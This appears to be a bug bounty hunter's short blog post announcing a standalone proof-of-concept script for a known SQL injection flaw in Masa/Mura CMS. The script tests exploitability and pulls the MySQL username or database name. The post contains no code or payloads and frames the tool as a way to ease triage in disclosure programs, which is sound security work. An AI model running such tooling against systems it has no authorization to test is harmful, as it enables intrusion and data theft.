A while back the illustrious team over at Project Discovery wrote about the discovery of an SQLi in Masa/Mura CMS. It’s a good writeup, so go check it out for the technical details.
Recently, I ran across four instances of this CMS in VDP/BB programs, and after searching for POCs out there, I didn’t find much in the way of a POC that would actually dump a little info to prove exploitation. One of them did download ghauri to do exploitation, but I wanted something standalone.
I do this because I want to make it as easy as possible to reproduce and triage. I seem to have bad luck with triagers on multiple platforms lately, including one that didn’t know how to PIP install a Python package, and one asking how to install Burp. Yes, you read that correctly.
Anyway, there were also some other features I always like to have like single-url scanning or scanning from a file or proxying, etc. So here is what I ended up with, as you can find on my GitHub. This will test for exploitability or retrieve the current username or DB name for MySQL.
